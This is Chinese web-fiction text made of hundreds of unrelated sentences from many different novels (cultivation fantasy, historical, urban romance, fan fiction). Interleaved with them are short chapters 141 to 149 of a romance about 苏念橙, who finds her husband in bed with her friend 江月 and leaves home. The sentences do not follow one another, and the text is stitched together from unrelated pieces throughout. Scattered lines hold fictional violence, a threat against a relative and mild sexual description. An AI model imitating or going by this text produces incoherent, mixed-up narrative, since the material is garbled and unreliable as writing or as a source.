不过不管白森怎么想,反正这对基友界的新人是开始了自己的战斗,按照常规来说这个时候,若二人是主角,应该就是互相帮助,最后拼死一搏,击杀了这个大家伙,然后夺宝,就此开启自己的传奇一生。 就这样,刘琦被带往襄阳卫大牢之中。消息不胫而走,蒯良得知以后,立刻与蒯越前往流云坊去见韩凉商议对策。 王越也是接着一个翻身熟练的卸去自己绝招的反冲力,稳稳的落在地上:“那好,不过能量晶体怎么个分发。”王越虽然口中谈着话,但是依旧手上闪着雷电,顶着李鸣山的寒风,冲上去继续与其决斗。 张元昊将玄法烙印在识海之中,正待推衍一遍,突然发现识海中央莫名多出一道青绿色气运种子的虚影,那原本生长在他身后虚空之中的气运种子不知怎地出现在了他的识海之中。 别看她今年才刚二十六岁,却已经是年轻富豪排行榜中的佼佼者了。 最近一段时间,因为特莉丝休假一直待在凯尔莫罕,凯拉的工作量大大增加了。 陈宁正跟往常一样肚子一人在厨房里做着妻子最喜欢吃的糖醋排骨,想象着苏梦雪回来看到还不知多高兴,忽然,厨房的门被一下子拉开了,脸色有些沉重的苏梦雪出现在了厨房门口。 不过,这只鹿首精并没有就此认输,当它发现自己即使在泥土中打滚,也无法扑灭身上龙之梦的火焰的时候。 嬴红叶在内心长叹,感觉继自己被季长生带坏之后,曹师兄也要被带坏了。 除了在玉玲珑面前露过馅,其他时候瑶光罗幻从来没有出过问题。 他揉了揉太阳穴,实在是想不通父亲怎么能这么离谱,居然怀疑起古三通来了。 众人顿时眼前一亮,对方那头银月狼的战斗力都有目共睹,说不羡慕那是假的,没想到他们也能拥有? 关于东方云阳的白骨守护的确是引起了不少看台观众的惊讶与好奇,其中木岩村众人同样如此,木岩村在座的众人中除了木下六藏见识过东方云阳的血继限界-尸骨脉,其他人在这之前可没有见过。 第一百四十一章 抓奸在床? 越靳临躺在床上,衬衫扣子解开了两颗,露出结实的锁骨。他旁边躺着个人,乌发散在枕头上,脸埋在他肩窝里,被子滑到腰际,露出光裸的肩膀。 那条手臂搭在他胸口,手指纤长,指甲修剪得整整齐齐。 苏念橙站在门口,像被人钉在地上。 脑子里一片空白。 方一诺集中精神,单臂的傀儡人开始在斗盘上移动起来,它的步伐诡异,如同游鱼在水中穿梭,摸不到踪迹。 痛苦的哀嚎声也变成了长而短的呻吟声,且到最后直接晕厥了过去。 李玄生盯着最后那位绿发男子,观其周身不住的颤抖,眼中一丝丝畏惧的神色略过,眉头微皱,轻声说道,没有任何留情之地。 只有没娘的孩子,才真的有可能养熟了,毕竟,有自己这个前车之鉴,王氏怎么可能重蹈覆辙? 立即有一名侍从手捧玉盘从后堂出来,走向幽星夜等人,旁边另一名侍从则取玉盘上的青玉令牌,分别交由殷利亭、凌不乱、独孤鸣鹤、唐兰心以及伏地虎五人。 头顶死亡神镰,以死神本源相通的法则之力催动,直接对着处于争斗状态中的荒古万族、星神一族斩去,刹那间,一股漆黑色的能量波动直接席卷十方天地之间。 “你……你要干什么?”方红军吓了一跳,忍不住的往后退了一步,妈呀,这怪物也太可怕了吧,会不会吃人呀。 蔡氏办这生辰宴本就是为了帮她长脸,她自然得盯紧了,不能出了差错。 时间一点一滴的流逝,安国端坐在轿子之中,气氛安静而沉重,仅仅有他轻微的呼吸声传来。抬轿子的几个轿夫尽皆默然不言,呆呆的站在原地,也不知道在想些什么。 传闻当年他曾经借兵给朱棣,朱棣答应靖难胜利后和他平分天下。 闻言,秦岚微微的点了点头,虽然不知道林风要做什么,不过对于林风她还是比较相信的,这个男人并不是坏人。 萧厉微微一笑,取了【魔法之泉】的科技卷轴当即使用,而后又拿了那两株变异木头人幼苗,便就离开了。 若是给予太多,就会让手下人忘记了自己的身份,越过主人产生不该有的想法,一但无法达成想法,便会心生怨气,暗暗恼恨。 首都人民又改吸社会主义雾霾了,只是这回,雾霾不是首都的特色,而是全国上下皆而有之。 “是嘛,我怎么都不觉得。”白幽一向大大咧咧惯了,倒也没多想过什么。 “好了,锡儒不要多言了。这几只翼鼠交给易道友对付吧。”申鸣做出了决断。 将周敏的脸部划破了,让人辨认不清,怕就是不想让人知晓她的身份,更不想让人知道她曾经出现在皇宫里。这样一来,就能解释的通,为什么周敏会被丢弃在破旧又隐蔽的茅草屋里来。 “不着急不着急。”刘好好知道她是个热心人,只要亲戚朋友有求于她,她绝对是毫不推辞,雷厉风行地四处奔走。 若是没有修为的限制,怕是纵然普仁对佛的领悟,到了一种极为可怕的程度,也依然要被东野打败。 穿过假山处的大门,易寒更是惊奇。里面赫然是一处巨大的地下空间。只是洞府顶上都镶嵌着夜明珠,使得整个洞府亮如白昼。 “不必了。”秦萱立刻叉手道,她不差这一顿,匈奴人昨天想要下下马威没有成功,反而被她一箭给射了鹰,这会客气着呢,不会不管他们的饭。没有必要非要到慕容翱这里来。 第一百四十二章 我们离婚 苏念橙见她愣住以为她在害怕,她尽量又放低了声音,“我真的不怪你,你不要怕。” 江月反应过来,拼命摇头,“不行……真的不行……念橙,你就当什么都没发生过好不好?我、我不会说出去的……我保证……” 她说着,抓住苏念橙的手,攥得紧紧的,指甲都掐进苏念橙手背里。 街面上的规矩,双方真要以命相搏,那就找到没人的地方,城外,河边,到处都有这样的地方,在这些地方拼杀一场,谁完蛋了便就近埋了。 可她也清楚的知道“住吉会”的实力,知道堀政夫身为总裁,想要对付他,无疑是难于登天。于是水川幸子把目标定在堀茂平身上,定在这个堀政夫私生子,刚刚就任东京城东地区统括长的弟弟身上。 现在虽然不能说皆大欢喜,不过黄百鸣和徐克也是不虚此行了,心情自然就更好,他们也终于感到肚子已经再也忍受不住饥饿感,纷纷叫了起来。 他后面这句话是对其他穿越者说的,众穿越者见有人带头,于是也围上来讪笑着搭茬。 “没有。”林百顺摇头说,他和朱洪韦兴财家都没有这份闲钱,学校不组织,他们就不会去。 “这应该不是假话,王国的新军就是穿着这种黑色制服的!”颂参自忖道。 对于第一条,差不多已是铁板钉钉的事实。按照前世的历史结果来计算,当50万拿破仑的大军埋葬于俄国冰雪荒原之际,俄国人也至少损失了30万兵力,以及两百万人口。 上午十点四十左右,艾尔莉柯一脸神清气爽的走出了英雄战争店,然后朝着学校走了回去。 之后,三人又捉了一些虫子之后,讲它们全部放生,理由是为了保护大自然的平衡,但是艾尔莉柯觉得那纯粹是露米娅觉得把这么一堆虫子弄回去实在是蛋疼而找的借口。 楚宽远楞了下,他忽然觉着石头可能是对的,问题可能不是他的志愿报高了,正如石头说的,就算报高了,可一层层下来,总有学校愿意要他的,可能还真不是这个原因,最大的原因恐怕还是出身。 史珍香的俏脸儿还绯红一片,像是熟透的水蜜桃般。刚才周如风的一番话,让她简直恨不得找个地缝钻进去。 她从当初想踏灭金国到如今即将为人母,经历的事情实在是太多了。 牛猛是跟随玄墨染一起来的,但是玄墨染一路上换了好几匹吗,都是他在后面买单,所以赶来晚了。 但地龙战天,却是真的要分生死的大战,那等情形,万花山一脉即便是自傲,也难敌对,而地龙之所以与天界大战,起因只是因为四方城的一个民团教头! 唐林心中嗤笑,你算个什么东西,我为什么要将你放在眼里?放在脚底还差不多。 观战的雪十三等人原本要被波及,可在大战爆发的前一瞬,一股柔和之力便将他们推送到了圣界边缘。 顾卿尘上前一刀砍伤,准备动手的黑衣人,那黑衣人大叫一声,丢了刀。 “这个东西顾名思义就是祛斑的,作用我觉得应该是很不错的,我前两天改良了一番,效果也就提升了很多,先拿过来了一些试试卖着看看效果吧。”她道,然后把其他的那些祛斑霜也拿出来了。 安抚好了连绒,凌羲又给家里的父母打了电话,把凌宝鹿的情况跟父母说了一下,凌墨和宁远澜一听凌宝鹿大清早的就要自杀,两人也被吓得不轻。 第一百四十三章 她无家可归 苏念橙摇摇头,抹了把脸,“没事。” “脸色这么差,要不要去诊所看看?”车夫好心地说,“前面就有一家。” “不用。”苏念橙深吸一口气,把那股恶心压下去,“麻烦您,往前开就行。” 车夫应了一声,转回去继续蹬车。 苏念橙坐在车斗里,看着街边的景色一点点往后退。 出了秦府后,王兴新也没去再找程处默,他带着秦怀道给他的秦府护卫在长安城里转悠着。 他坐在亭子之中,手里拿着这笛子,还是这一把笛子,有些沉重,有些旧质,然而为何却能发出如此哀怨的音符呢?它是从哪里出来的?为何可以敲动人的心弦呢? 马车内,陆清漪暗啐一声,待放下车帘转身时瞧见母亲的神情,脸颊刷的红了起来。陆清漪连忙移开目光,弯着腰走到座位前,一言不发地坐在母亲身旁。 而随着这波动扩散而出,原本浊浪滚滚的大河,在此时看去却是一派风平浪静的景象,河面更是不起一丝波澜,如同镜面一般。 身体就像是幻影一样的闪过,坂田纵身一跃就已经跳到了熊的面前,手里的两把刀已经蓄势待发。 在耐心的等待了一段时间后作坊内越来越浓的香味最后居然变成很奇怪的刺鼻味道。 下一刻,离央惊悚的发现被金链锁住的厄皇,其身子竟是微微颤动了起来,同时感应到有一种及其恐怖的气息正在慢慢复苏。 层层刀幕,犹如大潮席卷一样,向着远古魔神便拍了过去,却抵挡不住那一剑的犀利,直接在巨大的刀幕上开了一个黑洞,一穿而过。 张叔夜看陆平眼睛望着远方。望着一个他看不到的地方,似乎不再想跟自己说话。 弗拉德有些惊诧的从兜里掏出电话虫,轻轻地在壳上一按,接通了电话。 “沈先生,欧阳教练他们已经出发了,估计中午的时候就能赶到咱们这儿,下午就可以比赛了。”金馆长挂了电话,找到沈一宾,将这个消息告诉了他。 唐婉有些不悦了,唐婉现在就像当初的何太后一样,期待着刘辩的妃子怀孕,而现在唐婉也在期待着孙尚香怀孕。 “喏,楼下那么多宠物,你去随便挑一只就可以了,不用和我客气,不管多贵的宠物,只要你看上了都可以拿!”沈一宾懒洋洋的指向楼下,夏诗璇和高树正在那儿提着宠物粮给这些宠物喂食呢,今天轮到她俩干这个了。 杨洛冷笑了一下,这是看不起我吗,这个距离,别说是你,就算是机器人,也未必能够计算出我射门的速度和方向。 其余几个学生有两个无所谓的样子,一看平时就没少干架那种,有两个就不太行,又不好意思说的样子,纠结着。 “不过嘛……”艾米丽忽然表情转换,弯起嘴角,用上扬的声音吊起二人的注意力。 “得,看样子是喝醉了!我倒是忘了这东西酒精度数挺高的。”沈一宾忍着笑意说道,心里却是乐开了花,看到贱贱吃亏可是很难得的。 杨洛停了下来,眼睛瞥向了男子,瞳孔猛地一缩,此人不是别人,正是刚刚进入医院看到了“熟人”约翰,如果猜的没错,他就是尤利娅的未婚夫。 “还挺聪明的嘛。”杨洛想了想,不过啤酒肯定赶不上白酒,提升温度效果也不大,尤其还在是冰窖里。 第一百四十四章 查证 苏念橙闻言低下头,盯着自己的鞋尖。 谢文彬看着她那副样子,心里那点猜测更确定了。他没再问,只是看了看表,“那你打算去哪儿?我可以送你。” 苏念橙摇摇头,“不知道。” 谢文彬愣了一下。 苏念橙抬起头,扯了扯嘴角,“没地方去。” 反派也是分很多种的,有一种是和主角站在了对立面,然后用各种各样的方式去和主角进行对阵的反派。 可是在这个机场里面人流量非常的多,而且大部分的人也都是匆匆忙忙的不知道从哪里来的,起码很多的人都不是春城的。 “这铁羽珍树的树皮有很多作用,熬炼的树油是上好的燃料,而且非常耐烧,不容易熄灭。”孙黎简单解释了一下。 只有清水彻下意识觉得有哪里不对,站在苦苦思索半天,却始终没想出个所以然来。 夏梦和夏霄面面相觑,有些不认同的刚想跟母亲辩论一二,这时,院子里传来了声响。 闻言,陆元祁和宁清屿低头看了看互相拉扯的手,默契地骤然放开对方。 魅力值报表 也是理所应当的,这具身体要是在年轻点,那可就真是人中龙凤了。 头顶的警报还在刺耳的鸣响,可是整个走廊静静悄悄的,没有传来任何声音。 叶墨点了点头,看来这个家伙确实知道些什么,并且还可能跟当年的那些事情有关,现在进屋的话,难道就是要给自己讲当年发生的事情? 江琮本想看到安阳崩溃大哭,在众人面前丑态毕露的样子,然而让他失望的是,再次看向对方时,安阳的表情已经平静了下来。 虽然这仅仅是猜测,但武玄不敢赌,一旦赌错,等待他的便是深渊。 “咦?它啥时候长出的胡子?”雨霖灵看着大蛟的无风自摆的长须惊讶出声。 “把他嘴巴给我封起来,看住他,别坏了劳资的兴致。”韩宸掏了掏耳朵,一副很不耐烦的模样。 楚三生没有回答,仍然神念扩张出去,似乎要将九州的每一寸土地都给搜寻一遍。 时间一长,陆节看出不对劲了。他主动进攻了一下蛮族军队的营寨,对方竟然坚守不出。真是没见过这么怂的蛮族,听都没听说过。 在那股诡异玄气的包裹下,势不可挡的龙吟剑,此时竟是难以再进一寸。 “我不去,要去你自己去。”陆悠悠负气般把头扭到一边,下一秒下巴就被男人给捏住了。 不像他们妖修,哪会分门别类的,向来都是强者为尊,不会去看原形品种。 而这时,那周胜的脸上闪过一抹决然之意,似乎是下定了决心,郑断刃的精神也随之一振。 “昔日父王在时,也曾觊觎过漠主遗迹,不过由于此地太过凶险,因而并未前去。”濯缨柳眉微蹙,漠主遗迹,那等险恶之地,潜藏的危险,她可是比谁都清楚。 林清婉看着她离开的背影,思索着要不要给她请个先生,孩子的课业总不能耽搁。 就在众人不断搬运各种药品物资的时候,地面突然间开始有了一阵轻微的震动。 逍遥子一抄手抓住了箭矢,冷冷的道:“臭丫头,别太过分了,适可而止你明白吧? 沐雨晟紧紧的抱着她,不知道为什么看到她他的心脏就跳得厉害。 紧接着一枪再度刺去,枪之勇猛,逼迫的洛雪就算是防守都有些狼狈,一退在退。 第一百四十五章 温暖 叶良辰骂骂咧咧着,却不敢骂多大声音,生怕这时候袁霹雳万一杀个回马枪,那他可就尴尬了。 甚至,他们三人还下意识的相互对视了一眼,竟皆是从彼此的眼中看到了震惊和兴奋之色。 “留下你难道还要理由吗?”魔界青年理所当然的道,幽黑的眸子中升起一抹猩红的血光。 能负责星舰这么重要计划的,不可能是凡人,沈浪口中的步前辈,名叫步漠北,一代天才,同时也是个典型的西北汉子,脾气很倔强的存在,认死理,撞死都不回头的那种。 他可是听说了,孙杨那可是华国十大古武家族孙家的人,而且修为了得。 正常情况下,领悟了气感的运行之后,十年左右才能形成气海,天赋超强之辈,可以缩短到五年,一代拔尖的翘楚,两三年亦可以做到。 叶宝松几人虽不喜,但大家兄弟一场,也不好拒绝,便结伴同行。 两天后,一处荒原上,一道光芒撕裂虚空,从黑暗中走出一道挺拔的身影,那是一名相貌普通的青年,正是莫问八象天心诀之人皇最新章节。 一名老者走到木宏城主身边,他乃是木宏城的副城主,名叫格泰,一名斗转大圆满的修士,修为相当的高,甚至还在薛老之上。 现在庄风完全不担心封轻扬的辅助了,因为封轻扬已经答应拜他为师了。 说着陆羽将公主的身体翻转了过来,让她丰满的屁股朝着上面,手掌轻轻拍了上去,惊人的弹性更是让陆羽爱不释手,从拍打变成了把玩起来。 所以这一事件秦俊熙他也不知道胡八一这个摸金校尉此时在什么地方了。 居于正东方的石柱,上面雕刻着一条巨大的寒冰龙,就好似被冰封于此的一般。 接着雷羽他们便从天空上来到了地下,随后打开内天地,所有的亡灵统帅以上的亡灵生物都从内天地中走了出来,井然有序的排列在一起,看上去数目也不在少数,雷羽不由得满意的点了点头。 说着话秦俊熙就在那一万块钱里面拿出来了一半,人给了那个罗三。 在夜玫酒吧中,秦玫坐在齐瑜对面已经有一段时间了,一直想说什么但到现在都没有开口,齐瑜都要等的有些不耐烦了说道。 也就是在吕千娇离开的时候吧,巡江船正划向岸边,丁允打着灯笼一边张望一边向岸上喊,是冷江兄弟嘛怎么不在北口汇合,不是一同巡江嘛你和张茂怎等在这里。 “唉,傻孩子,你要知道修行其实是很苦的,有时候连死都会成为一种奢求。”瞎老人语气中充满怜惜。 “爸爸,明天早点过来接妈妈哟。”昕昕在妈妈的怀里,奶声奶气的说道。 此人用词十分激进,语气态度十分明显。话一出口,便紧紧地看着和正阳的面庞,想看看和正阳是何反应。 轻飘飘接过这一棍,那木棍如游鱼一般,滑溜溜的丝毫不着力;又如闪电一般,一探即收,一闪即逝。 又走了一段路,陆晓静停住了脚步,她拉着廖一凡的手说,“被这么走了,咱们打车吧,我真怕你误了火车!”,廖一凡张了张嘴还想说什么,陆晓静接着说,“以后有机会我们再见面,别因为这个惹出事来,好吗?”。 在叶祝依出办公室前,角落里的季家老管家,刘易斯,只看了叶祝依两眼。直到少爷的未婚妻离开,刘易斯也不打招呼。 从牙缝中挤出的低沉声音,像是野兽伏首狰狞的低吼声,散发着令人发怵的气息。 “看来,你那个皇帝兄台还真的把你当成兄弟了。”白芷骑在白马上,狭促地笑着向高鸣说道。 所以,尽管达斯琪的战意被莫德的气势压垮,却仍是拼尽全力维护住了身为剑士的最后一丝尊严。 但他到底是坚持了下来,烧掉大量的子弹,也让自己的精神负荷累加到了极限,最终是将那怪物干掉,脑袋一连轰开了十数个窟窿,蓝色的粘稠鲜血,咕噜噜的流了满地。 努荔没有被禁网,外界的网络舆论只能看,发不出去任何消息。失去了自由倒是无所谓,但任务怎么完成就是问题了。 魂石上面的魂很精粹,就算吸收在多也不会有任何副作用,所以我们吸收起来也没有任何顾忌。 “好了,我们开始逛吧。”顾晓晓赶紧拉着穆逸熙进了商场。天气冷了,她想买些冬装,同时也给他添置一些衣物。在公寓的衣柜里,他的衣物其实并不多。 本来就有些灵力枯竭的慕容雪的抵挡完全没有用处,身子不受控制的往后退去,一只手只能紧紧的抓住林楠等人。“抓住我,别放手!”慕容雪吩咐道。 “凡朗,其实我还没有想好要不要和你回去。”何念念很是犹豫的说道。 “你弄开了没……”Draco百无聊赖地说。他披着那件神秘事务司的黑斗篷,用来掩饰存在感。不过这个房间周围并没有人,他依旧警惕地连兜帽都严密地戴着。 我呼了一口气,身体一用力准备从里面爬出来,可就在我用力的时候,我突然感觉有一双冰冷的手抓住了我的腿。 虽然很高兴被夸奖和看重,但是说实话,harry觉得有什么巨大的东西在言语间被哐当压在了肩膀上。 第一百四十六章 找她 苏念橙坐了一会儿,站起来,走到窗边。巷子里没什么人,对面那堵灰墙上,几棵野草在风里晃着。 她想起早上那一幕。 江月光着肩膀躺在越靳临旁边,床单上那滩血,他半敞的衬衫。 胃里又翻涌了一下。 她深吸一口气,把那点恶心压下去。 队长王浩,副队长林越,剩下三人也皆是男生,他们面无表情,格外的冷酷。 翠绿色带着点点血晕的变异版绝仙毒不要本钱的从龙骨绝仙扇中飞出。 一阵寒风拂过,让穿的有些单薄的琅啸月打了个冷颤,恍惚间,他才反应过来,原来,一切,都是真的。 寸劲杀提升了,八极拳和九宫步也有所提升,相信达到大乘圆满境界并不遥远。 单纯的拼战术王越可能是伊蓝的对手,现在就只能依赖成功下包后让伊蓝分出人去拆包,那时候王越等人就可以冲去包点周围守包和伊蓝等人正面的比拼枪法了。 接着就见她右手食指中指并拢,葱白手指朝贴在镇长额上那禁魔符前端一点,禁魔符便如受到了她玉指牵引一般,立即紧贴在她的指端,随着皓腕后撤被林疋鱼缓缓地从镇长额头上提了起来。 慕容倾冉当场险些昏厥过去,为什么?为什么?慕容倾冉发疯般的抬起手臂,在圆桌上一挥,茶壶与茶杯叮当的砸在地上,溅的到处都是。 “放心吧,我已经好的差不多了,昨天是因为中毒了,现在毒排出去就好了。”方和说道。 武都所用非所学,所学非所用。无事则嗤外国之利器为奇技巧术,以为不必为学。有事则惊呼外国之利器为变怪神奇,以为不能学。”李中堂难道说错了吗? 但他们全都不是苏逍的对手!如此情况,只能解释为苏逍的武技,已经精熟到不是多几重修为就能压制的地步。 “姐,你说他会死吗?”乔林珊看了旁边的男人一眼,有些担忧的问道。 原本吃了饭李官差是要走的,可乔林夕又让他带着他们去找便宜的客栈,乔林夕打算先住下来再去找她那三进的院子。 元青长老端坐在蒲团之上,弟子们先后抵达,拜过师父之后,便都坐在了旁边的蒲团。 林毅也不是一个蛮不讲理的人,既然他人好心提醒自己,当然也不再恶脸相向,一声道谢之后旋即便是离开。 “好的,我现在就去通知船长!”后者连忙从桌上拿起自己的电子板。 有了上次的经验,他没有任何留手,直接拿出了看家本领,御剑术。 身下嘶风兽旋即嘶鸣一声,气势猛然四散激射,脚下虎虎生风,双翅展开,朝着前方之人急速掠去。 当然,元青师父知道这些,也附给了林九州一张地图,地图上有标注。 估计是出于礼貌吧,毕竟现场有这么多摄像机在呢,又有那么多双眼睛盯着,要是太过分了,难免被人说成清高什么的。 幸好,她穿越了之后,也是走了狗屎运将这炼药鼎带了过来,所以她的血还是一样的。 “酒有的是,只要先生能喝,我就能供应。”那人十分高兴的将罗啸成扶起来,慢慢吞吞地将他邀进船舱里去了。 这么漂亮精致的星尘梭,要被那家伙吐得一塌糊涂,未免太恶心了。 看到这边的情况,叶君河和丹尘君都是一阵面面相觑,他们这才猛的反应了过来,秦萧并不是去混沌古兽体内修练混沌大道,而是在收服混沌古兽,而且还被他成功了。 第一百四十七章 对峙 王辰独自来到思过崖,却见到那危崖峭壁之间,有一处火光明灭闪烁不停,显得极为显眼。他走了过去,果然见谢天香正独自坐在一团篝火堆前,低头抱膝也不知在想些什么,她的身后则是一个山洞。 人世间最悲哀的事情是,打人脸的时候说出来的话,被人反打脸是原数奉还。 松阳当初逃出昊天门之后,一直便是消声灭迹,根本就没有任何的消息。再次遇到,却是在有着食天魔血树的情况下。他的修为,也是比当初不知强了多少,他的招术招招歹毒无比。 就这么,天地白茫茫地过去了约莫三分钟左右,白光终于是渐渐散去了。正当他们猜测着谁是胜者之时,一个忽然从空中掉下来的人影,顿时吸引了所有人的注意。 神器强大,并且神秘,李清又自知之明,知道以自己现在的实力,就算是找寻到了神器,也不一定能够将之收服,那便只有另外一个办法,也是比较靠谱的办法。 黑市不同于一般的拍卖会,可以允许拍客和拍客之间的沟通,这要是放在香港佳士得,早给人轰出门去了。 高台底下,十余万汉兵结阵集结,汉王话音刚落,各营中便窃窃私语起来,士兵们你看看我我看看你三言两语七嘴八舌。 这么一句冷不丁要人命的指使,吓倒了薛晓桐,她跟着软绵绵地倚在何紫嫣的身上。 这一刻的林枫,犹如一把出鞘的利剑,耸立在拜月山之巅,一身青衣随风飘荡,猎猎作响。 等她游出海面后,发现海怪已经一动不动,巨大的躯体横在水面上,漫天飞舞的触手全部消失。 但也不是不会生出麻瓜,这会让这对夫妻暴怒、甚至崩溃,从而遗弃孩子。 是他自己害了观儿,害了大儿子的一辈子,观儿学问那样好,考秀才举人定然不在话下。 窗户内的士兵惊愕的说了一句,也正是这一句,吸引到了窗户外的怪物,他缓缓扭过脑袋,探了过来。 九叔想了想,的确是这样,索性也放下心来,脸色稍微好了许多。 蒋怀柔身价暴涨,在狄逸撮合下,由陶阳这边筹备po准备上市。 仅仅是一盏茶的功夫,就到达了引气境巅峰,并且没有一丝修为不稳的迹象,让林晓路非常震惊。 只要不涉及生命,对于上头的两位龙神而言,都是可以接受的结果。 此时从艾瑞克瞬间解决掉几个黑帮成员的震惊中回过神来,巴特咽了口吐沫。 这种诡异的飞行器现实中根本就不存在,所以这一切都是假的了?如果这是梦境的话,一切就解释的通了,不过这样一来的话,按理说自己也可以控制梦境吧? 元婴出窍了。如果不是刻意祭出,那就说明身体与灵魂已经没有了联系,人,已经死了。 永徽六年六月,后宫谣言,说王皇后和其母柳氏在宫中行厌胜之术。李治听闻大怒,将柳氏赶出皇宫。 慈悲也是有节制的,总不能为了原则让自家和伙伴死伤,所以,他和周青云一出手就没有留情。 空气中充满了浓重的血腥味,四风景月咳了几声,嘴角立刻涌出几分嫣红,该死的八阶,果然厉害。 “不打了,不打了,袁师傅,我们俩从来没觉得自己了得,您本事这么高,晚辈们肯定会用心学,不会偷奸耍滑的。”朱达喘气说道。 当初他从医院回家之后,经常会做同一个噩梦,在一个黑漆漆的山洞里,一条巨蛇追逐他。 一抹蓝光从升腾而起,像是烟花一般爆裂开来,整个轿子都被流光溢彩给填充满,强劲的气流弹出来,将围在轿子周围的几个轿夫狠狠弹了出去。 他和对方一点不熟,不过根据上次过来时的了解,对方在这干了半辈子,德高望重,相当于山头老大,星野纯夏要在这生活工作,虽然有学姐打点过,但态度好点总是没错的。 叶麟点头如捣蒜,他如何不统一这样诱人的条件呢?是傻子才不会同意吧。 如果顾欣聪明,大方,睿智,得体,当然是不幸中的万幸,也算是一个惊喜,现在恐怕最坏的结果也不过就是这样,反正徐家要她只要做到可以相夫教子,体面的出席各种宴会,打理好徐卓豪的生活,这就足够。 林欢乐知道,最迟半年,最早两个月,新一轮的竞争就会出现了。 她慌乱起来,抹眼睛擦脸蛋的,却不说话,惹得那陀智难堪的得不到回应。 要说现在林欢乐的发型,还是有点离经叛道的,是几乎贴着头皮那么长的近乎光头的模样,而且,走路的姿势,远远看起来有点痞,绝不是正常想象中那种帅哥的形象。 这让两人有点觉得,今天不是什么通气会,而是林欢乐对他们俩的一种面试。 他的嘴因为刚才的亲吻湿润而且性感,好像他正在用情/欲折磨她的一样。 看着这一张张因为饥饿而显得营养不良的脸时,她心里越发的难受。 “清风斩!”族长等人再次朝着殿主等人冲杀而来,族长更是一掌穿过殿主的身体,但他猝然发现,这殿主似乎与他们不在同一个时空,他根本都触不到殿主等人。 第一百四十八章 你不配和她相提并论 洗完脸,她看着镜子里那张苍白的脸,眼睛还肿着,眼眶下面一圈青黑。 她拍了拍脸,深吸一口气。 今天得去菜市场买点菜,给谢文彬做顿饭。 人家帮了她那么多,她不喜欢欠人家人情。 她换了件干净的衣服,拿着包出了门。 三更已过,福宁殿内,皇上浩星潇启仍端坐在龙椅之上,听到外面雷雨交加,竟正如他此刻的心境一般,有着一股想要摧毁一切的冲动。 何况攻击云中郡危险太多,洛师尚随时带领大军前来,必须速战速决! 话音刚落,衣袖一挥,一道蓝光瞬间凝聚成一把蓝色的长剑,向着风千玺怀中的洛桑呼啸而去。 看着胡傲那失落的背影,秀儿长叹了一口气,虽然话是从胡傲口中说出的,但胡傲对于恢复记忆的急切,她又怎么会不知道呢?否则怎么会一而再再二三的强行回忆过去而昏倒呢? 一时间有些无计可施的众人只能强行耐着性子在酒店大堂里坐下来等着,希望能够等到叶天回来再一块儿出发,但时间到了七点二十分左右,依旧没看见人影。 “纤云弄巧,飞星传恨,银汉昭昭暗度,金风玉露一相逢,便胜却人间无数。 这种意识,这种操作,别说钻石段位了,就连很多高星的荣耀王者都不可能好吗? 屋内三道声音在交谈着,声音来听,三人胡傲和秀儿都认识,正是校长,王老师和秀儿的爷爷。 薛娉愣了一愣,她可是知道这一切有多繁杂,她们虽然平时只是照顾倪佩,其实也兼做助手的角色,知道这三线工程总指挥部的工作绝不轻松。 此刻的叶天则是目光认真专注地看着直播画面那道熟悉的身影,心毫不迟疑地下了结论。 高层次生命对于低层次生命,有着本质上的碾压,就好像低层次生命出生,只是实力很弱很弱的存在,而高层次生命,一出生就拥有很强的实力,这就是生命层次的区别。 她的手很稳,即使在跑动间也没让白月感到丝毫颠簸。而妖修的强悍恢复能力在这里得以体现,之前深可见骨的伤势已经没有在流血了,并且在以肉眼可见的速度在愈合。 就在吴易这边所有天尊道兵再次御剑升空,准备接应那四个仅存的天尊道兵时,天边也有越来越多的狮鹫骑士飞了过来。 由于通过末日神战场复活历史名人代价太大,所以复活后的历史名人,除了潜力上受到了正常的死亡惩罚外,属性方面则维持了阵亡前的状态。 “一把伯莱塔,十梭子弹。”李成龙边说边从背包中掏出手枪和十个弹夹。 这上时候,王羲之打出了自由恋爱的旗帜,希望卓家给他兄弟司马相如一个插队的机会,反正司马相如的才华是不用怀疑,他唯一不适合这次擂台规则的就只有年龄一项。 秦岳说这话的时候,虽然语气略显轻佻,却又有一种莫名的霸气。 但是最好的情况应该是,不管是卖肉的还是买肉的,大家都很高兴,都觉得自己没亏才赚到了,这才是最好的方法。 对此吴易并不感到遗憾,这算是意外的收获,毕竟统治之塔额外出产,而且也只有第一轮统治之塔的“勇”字关才有出现琉璃晶神力魔相,第二轮就已经换了其它怪,能精炼出一颗,他十分满足。 第一百四十九章 归宿 越靳临脸色沉下来。 他盯着她,那双眼睛里翻涌着怒意。 “你最好配合我。”他往前走了一步,居高临下地看着她,“把事情的真相说出来。否则——” 他顿了顿,声音冷下来,“我不介意让你乡下的弟弟无家可归。” 江月愣住了。 但是白森真的很想要拍拍他的脑袋,告诉他:“不要太过天真,这里可不是什么慈善机构,你真的以为是因为你的建议很好,白森才答应下来的? 他现在切迫需要增强修为,正犹豫着是否上前一试时,肩膀突然被人拍了拍,武浩回头看去,只见一个绿衣男子正灼灼凝视着自己。 而是和修真世界一样,也是三千大世界里的一界,事实证明的确是如此,所以从此之后,他不再相信世有冥府,人死即如灯灭,完就是完了。 许多人脸色苍白,在第一时间得知了冰雪银城被破的消息,与此同时荒古界的中心,有致命的波动在汹涌,仿佛能掀翻九天。 “大人,现在皇上都已经建国了,难道他们还要霸占着这些良田不放手吗?杨大人又早就想至您于死地,那我们岂不是只有被动挨打了?”李冰面无表情地说了自己见解。 李善长逃避责任地功力倒是挺有手段的,不过也间接地证明了他对佑敬言不按常理出牌的惧怕。 差点没把众人的下巴给惊掉下来,就连当事人王起也是露出诧异之色,一脸茫然的看着数十米外如死狗般趴在地上一动不动的李轩。 在他的眼里,法宝的使用,完全取自于灵气的使用量,只是一个或多或少的问题。 又闻君昔为倭王,今为法皇,本应青灯侍古佛,却豺狼成性,近狎邪僻,残害忠良,逼君淫媳。人神之所同嫉,天地之所不容。 听了李象的安排,长孙泽也是在旁边狠狠的点了点头,李象把他们兄弟两个叫过来,那就等于把后续的工作都交给了他们兄弟两个,剩下的人也该班师回朝了。 谁都知道不能揭短,特别是别人的弱点,也许叶誓言有什么不想说的,丽娜也不问。 一起聊了一会之后,两人就散开。至少请自己喝酒单独的情况,算是朋友了吧? 那次,在街角,他被几个身强力壮的男生推倒在地上来,其中有两个男生指挥着去掀他的裙子,去扒他的裤子。 面条茄汁浓郁,加上香软的鸡蛋,热气弥漫,还有欧芹碎的简单清香。 熬果酱得有个专门掌握火候的,谢言川现在在烧火上,可以说也就沈唐能够相提并论。 